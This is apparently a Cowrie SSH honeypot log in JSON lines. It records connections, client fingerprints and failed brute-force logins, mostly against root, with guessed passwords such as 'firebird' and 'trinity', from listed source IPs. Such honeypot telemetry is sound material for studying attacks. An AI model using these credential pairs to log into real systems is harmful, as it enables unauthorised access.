{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:20.897536Z","src_ip":"45.119.212.99","session":"ef79b969727d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":44718,"dst_ip":"10.17.0.5","dst_port":22,"session":"01f1f207e7b6","protocol":"ssh","message":"New connection: 189.203.163.10:44718 (10.17.0.5:22) [session: 01f1f207e7b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:22.092900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:22.096914Z","src_ip":"189.203.163.10","session":"01f1f207e7b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:22.165293Z","src_ip":"189.203.163.10","session":"01f1f207e7b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":52208,"dst_ip":"159.203.135.109","dst_port":22,"session":"58df411dfbbd","protocol":"ssh","message":"New connection: 103.172.78.219:52208 (159.203.135.109:22) [session: 58df411dfbbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:22.374334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:22.378631Z","src_ip":"103.172.78.219","session":"58df411dfbbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"firebird","message":"login attempt [root/firebird] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:22.444172Z","src_ip":"189.203.163.10","session":"01f1f207e7b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:22.635230Z","src_ip":"103.172.78.219","session":"58df411dfbbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lfitymrf","message":"login attempt [root/lfitymrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:23.401957Z","src_ip":"103.172.78.219","session":"58df411dfbbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":51898,"dst_ip":"159.203.135.109","dst_port":22,"session":"79bd5bcc97f6","protocol":"ssh","message":"New connection: 103.75.182.198:51898 (159.203.135.109:22) [session: 79bd5bcc97f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:23.455558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:23.460040Z","src_ip":"103.75.182.198","session":"79bd5bcc97f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:23.509248Z","src_ip":"189.203.163.10","session":"01f1f207e7b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:23.708822Z","src_ip":"103.75.182.198","session":"79bd5bcc97f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"f010710","message":"login attempt [root/f010710] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:24.459434Z","src_ip":"103.75.182.198","session":"79bd5bcc97f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:24.660273Z","src_ip":"103.172.78.219","session":"58df411dfbbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:25.718138Z","src_ip":"103.75.182.198","session":"79bd5bcc97f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":53154,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c22152c69ed","protocol":"ssh","message":"New connection: 80.66.85.226:53154 (159.203.135.109:22) [session: 8c22152c69ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:39.090394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:39.095163Z","src_ip":"80.66.85.226","session":"8c22152c69ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:39.184383Z","src_ip":"80.66.85.226","session":"8c22152c69ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"trinity","message":"login attempt [root/trinity] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:39.451913Z","src_ip":"80.66.85.226","session":"8c22152c69ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:40.543986Z","src_ip":"80.66.85.226","session":"8c22152c69ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.127.197.59","src_port":50176,"dst_ip":"10.17.0.5","dst_port":22,"session":"4967d3346960","protocol":"ssh","message":"New connection: 89.127.197.59:50176 (10.17.0.5:22) [session: 4967d3346960]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:42.882246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:42.887205Z","src_ip":"89.127.197.59","session":"4967d3346960","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:43.012913Z","src_ip":"89.127.197.59","session":"4967d3346960","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:43.532824Z","src_ip":"89.127.197.59","session":"4967d3346960","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:44.656874Z","src_ip":"89.127.197.59","session":"4967d3346960","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":46260,"dst_ip":"159.203.135.109","dst_port":22,"session":"15c39389292f","protocol":"ssh","message":"New connection: 194.113.233.25:46260 (159.203.135.109:22) [session: 15c39389292f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:46.379397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:46.383526Z","src_ip":"194.113.233.25","session":"15c39389292f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:46.477421Z","src_ip":"194.113.233.25","session":"15c39389292f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":41680,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d91a5643fcf","protocol":"ssh","message":"New connection: 62.133.63.178:41680 (159.203.135.109:22) [session: 4d91a5643fcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:46.599160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:46.604095Z","src_ip":"62.133.63.178","session":"4d91a5643fcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:46.727952Z","src_ip":"62.133.63.178","session":"4d91a5643fcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"apelsin","message":"login attempt [root/apelsin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:46.760139Z","src_ip":"194.113.233.25","session":"15c39389292f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvb","message":"login attempt [root/zxcvb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:47.103118Z","src_ip":"62.133.63.178","session":"4d91a5643fcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:47.856716Z","src_ip":"194.113.233.25","session":"15c39389292f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:48.229156Z","src_ip":"62.133.63.178","session":"4d91a5643fcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.190.155","src_port":56580,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad87dd237a16","protocol":"ssh","message":"New connection: 157.230.190.155:56580 (10.17.0.5:22) [session: ad87dd237a16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:49.876460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:49.882010Z","src_ip":"157.230.190.155","session":"ad87dd237a16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:49.887357Z","src_ip":"157.230.190.155","session":"ad87dd237a16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"csilla","message":"login attempt [root/csilla] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:49.936766Z","src_ip":"157.230.190.155","session":"ad87dd237a16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:50.943874Z","src_ip":"157.230.190.155","session":"ad87dd237a16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":41342,"dst_ip":"159.203.135.109","dst_port":22,"session":"633efc16b381","protocol":"ssh","message":"New connection: 103.149.170.125:41342 (159.203.135.109:22) [session: 633efc16b381]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:54.766042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:54.770672Z","src_ip":"103.149.170.125","session":"633efc16b381","protocol":"ssh"}
